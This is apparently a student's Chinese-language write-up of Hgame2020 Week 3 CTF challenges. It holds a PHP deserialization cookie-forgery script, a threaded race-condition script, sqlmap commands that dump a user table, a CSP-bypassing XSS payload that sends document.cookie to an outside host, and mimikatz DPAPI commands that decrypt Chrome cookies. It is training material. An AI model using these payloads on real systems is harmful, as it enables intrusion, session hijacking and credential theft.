Hgame2020 Week3

Hgame2020 Week3

二月 08, 2020

logo

Hgame2020 Week3 新人スタッフ(Akira)

这周好难啊

Web

0x01 序列之争 - Ordinal Scale

解出来前一天刚把War of Underworld补完

打开元素审查,发现可疑的注释

image-20200205223034232

访问/source.zip得到源码

image-20200205223252901

这里看出如果$playerName%s的活,第一次foreach循环之后$welcomeMsg相当于没变,而第二次循环%s则被替换为$encryptKey的值

image-20200205223616281

询问🍆得知hint:反序列化(怪不得叫序列之争

image-20200205224236341

构造cookie的形式

image-20200205224318011

cookie验证成功后反序列化

image-20200205224357183

受🍆博客的启发得知$monster['no']可以看作$monster->no,所以可以把no设成一个新的Rank实例来修改$rank

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$playerName = '%s';
$encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$sign = '';
$data = [$playerName, $encryptKey];
foreach($data as $key => $value){
$sign .= md5($sign . $value);
}
Class Rank
{
private $rank = 1;
}
$monsterData = array(
'name' => 'Heathcliff',//想不出打什么了(
'no' => new Rank(),
);
$sign2 = md5(serialize($monsterData) . $sign);
echo (base64_encode(serialize($monsterData) . $sign2));
?>

运行得到伪造的cookie:

YToyOntzOjQ6Im5hbWUiO3M6MTA6IkhlYXRoY2xpZmYiO3M6Mjoibm8iO086NDoiUmFuayI6MTp7czoxMDoiAFJhbmsAcmFuayI7aToxO319NTBhMjhjZTZhMzFjYWM1YTJkZjE2ZWQ2ZmViZGVmNzM=

Burp提交后得到flag

image-20200205225939213

0x03 Cosmos的二手市场

image-20200205230116620

谁进来不会直接getflag呢
进来发现是个~~坑B的~~二手市场

image-20200205230412970

询问Roc学长后得知是条件竞争漏洞

由于试了下Burp的Intruder没得就手撸了

打开拦截,多次点击购买,关闭拦截

打开拦截,多次点击出售,关闭拦截

后来写wp的时候试着写(抄)了个多线程的python脚本,效率高多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests, time, threading

cookie = {"PHPSESSID":""} #cookie
url1 = 'http://121.36.88.65:9999/API/?method=buy'
data1 = {"code":"800002", "amount":"100"} #数量要逐步增加
url2 = 'http://121.36.88.65:9999/API/?method=solve'
data2 = {"code":"800002", "amount":"500"} #手撸试得应为购买的5倍
info = 'http://121.36.88.65:9999/API/?method=getinfo'

def buy():
requests.post(url1, data=data1, cookies=cookie)

def solve():
requests.post(url2, data=data2, cookies=cookie)

def mt():
threads = []
for t in range(6):
t = threading.Thread(target=buy)
t.start()
threads.append(t)
for thread in threads:
thread.join()
for t in range(20): #手撸试得少买多卖来钱快(
t = threading.Thread(target=solve)
t.start()
threads.append(t)
for thread in threads:
thread.join()

if __name__ == '__main__':
while 1:
mt()
money = requests.get(info, cookies=cookie).text
money = money[money.index('money":') : money.index(',"properties')][7:]
print(money)

image-20200206093123321

0x04 Cosmos的留言板-2

题目hint:image-20200202173144174

说明我们要找到存放用户数据的表

由于🍆在群里说上周时间盲注这周就简单了直接上sqlmap

Burp看到

image-20200202173553166

猜想 delete_id 可以注入,将Burp拦下的 request改成以下形式后保存到文件里作为sqlmap请求模板(以下命令中的request)

image-20200202174001971

运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id -f

image-20200202175010780

image-20200202175202106

探测到为MySQL且可以注入

运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id --dbs 找数据库

image-20200202175748248

猜测在 babysql 中,运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id -D babysql --tables 找表

image-20200202180041830

明显在 user 中,运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id -D babysql -T user --dump 把表搞下来

image-20200202171712151

id=1就是,真是太良心了

可能由于网不好或者注爆了也会出现以下情况(老家的网注爆了4、5次,清缓存重注哭了

image-20200202165454276

登录得到flag

image-20200202180828142

0x05 Cosmos的聊天室2.0

感觉是猜出来的

打开随便输点东西,发现强制小写,过滤script

尝试用scrscriptipt绕过却发现

image-20200201153026639

百度得知是因为开启了CSP,参考文章:https://www.anquanke.com/post/id/151496

image-20200201153132591

并且用了 script-src 'self' 只接受本机脚本

百度得知可以用ifrarme绕过,参考文章:https://www.jianshu.com/p/f1de775bc43e

image-20200201162221624

并且测试出没有过滤 iframe 标签

加了限制策略怎么还减少了关键词限制

突然想peach:

如果send页面没有CSP,可以把payload装到send那里运行

Payload:

1
<iframe src="/send?message=<scrscriptipt>fetch('//ip'+document.cookie)</scrscriptipt>"></iframe>

然后由于过滤了 + ,js那段选择使用16进制编码,最终payload:

image-20200201164852684

从输入框提交,发现成功了,撞md5让管理员执行,最后看VPS的日志

image-20200201165657730

Burp改token访问/flag得到flag

image-20200201165400263

Misc

0x01 美 人 鲸

人生中第一次用docker

首先根据名字非常适合本人的菜鸟教程配好docker:https://www.runoob.com/docker/debian-docker-install.html,并克隆镜像

运行命令 docker image inspect 31ab18768617 查看镜像详情,得到hint

image-20200202214713644

由于不懂怎么查看镜像内容运行命令 docker image save 31ab18768617 -o 233.tar 直接打包成tar再解压

解压得到5个文件夹和两个json

image-20200202215450542

先从 69XXX 开始解压

image-20200202221440832

发现 flag.tar.gz

image-20200202221718754

根据hint找到Zip Password好像不小心暴露了桌面

输进去发现是错的,问了ObjectNotFound说是旧的直接告诉我新的了

后来发现因为是逃课解法所以真正的密码在另一个layer里

image-20200202222240102

解压得到 flag.db,转战windows,用SQLite打开

image-20200202222850118

0x02 三重隐写

日常做到一半做不下去了就看看这题,没想到拿了一血(虽然改变不了我菜的事实

解压得到You know LSB.wav上裏与手抄卷.mp3Unlasting.mp3flag.7zEncryptoforWin.exe

百度wav LSB得知隐写软件 silenteye

image-20200131235426532

Unlasting 真好听应该是解封面的PDF417条码,foremost导出封面后扫码

image-20200131235736764

推断这是给题目的加密软件用的

剩下上裏与手抄卷.mp3,推断是mp3隐写,使用 MP3Stego 和第一个密码

image-20200201000401431

解压7z,用AES key和题目给的软件解密得到flag

image-20200201000932534

0x03 日常

解压得到Blind.pngOrigin_pixivArtwork75992170.png我觉得一般般的橫豎撇點折_av85002656.ogg

首先先去P站收藏id为75992170的这张图一眼就可看出给的两张图是盲水印,解得这样

image-20200201170430627

VeraCrypt Password is

X0YAl(小写L)GDuZF$echCy

眼瞎看了好久看不出,跑去做0x02了,最后还问了ObjectNotFound学长

binwalk 扫ogg,顺手解压

image-20200201170830913

得到 Container,猜测用 VeraCrypt 打开

image-20200201171041950

用之前得到的 VeraCrypt Password 挂载成功,得到 CookiesObjectNF-PC.txtS-1-5-21-3375469711-1363829938-1291733684-1001.zip

解压zip,得到 20dfa1c6-d232-40cd-89ec-5678b380920b

image-20200201171237488

看出这是mimikatz导出来的然后就不会了

在看了半天web没有思路的情况下开始摸鱼无意中百度到一道很类似的题:https://www.cnblogs.com/cnnnnnn/p/11824463.html

解密NTLM Hash,得到密码

image-20200201171853350

打开mimikatz,提取masterkey:

dpapi::masterkey /in:"20dfa1c6-d232-40cd-89ec-5678b380920b" /sid:S-1-5-21-3375469711-1363829938-1291733684-1001 /password:happy2020

image-20200201172230740

其实也可以直接用NTLM(

dpapi::masterkey /in:"20dfa1c6-d232-40cd-89ec-5678b380920b" /sid:S-1-5-21-3375469711-1363829938-1291733684-1001 /system:1563a49a3d594ba9c034ee831161dfde

image-20200201172420704

然后用masterkey解密cookie:

dpapi::chrome /in:"Cookies" /masterkey:d96b6c13bda8659a94dc8993a14f7ec53395848eff271999d734adbc7880633f9684c38789c67b57f14b9834c852f11f80c14ad15f755ab990691fc9fd710b4d

image-20200201172613101

总结

week3开始的时候真的觉得已经没救了,后来在不断尝试、学习与学长(姐)们的帮助下还是没有爆0真是太好了(,拖延症晚期+有趣的hgame让我还没有开始肝学院任务==,还是希望下周别爆0吧,下周web的四种语言我都是初心者。。。